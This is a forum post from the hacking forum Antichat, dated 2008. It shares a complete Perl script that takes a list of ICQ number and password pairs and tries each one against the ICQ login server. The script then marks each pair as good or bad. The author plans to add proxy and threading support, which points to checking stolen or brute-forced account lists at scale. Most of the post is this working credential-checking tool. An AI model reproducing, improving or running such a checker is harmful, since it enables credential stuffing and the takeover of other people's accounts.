Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

12.02.2008, 15:54
|
|
Постоянный
Регистрация: 03.08.2007
Сообщений: 367
Провел на форуме: 876216
Репутация:
209
|
|
Маленький Icq чекер
Для собственных нужд накалякал маленький чекер асек по листу (uin;pass)
В планах добавить соксы и треды, пока с задержкой 5 секунд чекаю, ибо надо было для небольших листов...в общем может кому пригодится:
PHP код:
#!perl
# Simple icq list checker by biophreak ( s-teals.org )
# Usage: perl ./icq-check.pl <uins.list>
use warnings;
use strict;
use Socket;
use IO::Handle;
my $DEBUG = 0; # just for fun
my $uinlist = shift || die '[ERROR] Specify uinlist!';
my $timeout = 3; ### Wait some time before next check
####################################################
my($uin, $pass);
(open U, $uinlist and my @uins = <U> and close U) or die "Cannot open file $uinlist: $!\n";
for (my $i=0; $i < scalar @uins; $i++)
{
($uin,$pass) = split /;/,$uins[$i];
chomp $pass;
icq_check($uin, $pass) if defined $uin and defined $pass;
sleep $timeout;
}
sub icq_check
{
my ($uin, $password) = @_;
my ($server,$port) = ("login.icq.com", 5190);
my ($socket,$i,$answer_data,$auth_request,$flap,$data);
my $seq_num = rand(0xFFFF);
$data= "\x00\x00\x00\x01\x00\x01".pack('n',length $uin).$uin."\x00\x02".pack('n',length $password).substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x53\x7A\x95\x7C",0,length $password);
$flap = "\x2a\x01".pack('n',$seq_num++).pack('n',length $data);
$auth_request =$flap.$data;
socket(SOCK, AF_INET, SOCK_STREAM, getprotobyname('tcp')) or die "Cannot open socket: $!\n";
connect(SOCK, sockaddr_in($port, inet_aton($server))) or die "Cannot connect: $!\n";
SOCK->autoflush(1);
sysread(SOCK,$answer_data,16) or die "Cannot read from socket: $!\n";
print SOCK $auth_request;
sysread(SOCK,$answer_data,96) or die "Cannot read from socket: $!\n";;
if ($answer_data =~ /mismatch_passwd.html/io) {
print "[DEBUG] $answer_data\n" if $DEBUG == 1;
print "[BAD] : [ $uin;$pass ]\n";
} elsif($answer_data =~/(\d*\.\d*\.\d*\.\d*)\:(\d*)/o) {
print "[DEBUG] $answer_data\n" if $DEBUG == 1;
print "[GOOD] : [ $uin;$pass ]\n";
} else {
print "[DEBUG] $answer_data\n" if $DEBUG == 1;
print "[ERROR] [ $uin;$pass ] - Too many tries(or too fast).Try later\n";
}
close SOCK;
}
ЗЫЖ Делая смотрел в сорцы BuH@LicH, выкинул лишние заголовки пакета логина (такие как версии клиента, его идентификатор, язык), ну и другое, не нужное для логина...
Последний раз редактировалось biophreak; 14.02.2008 в 14:42..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|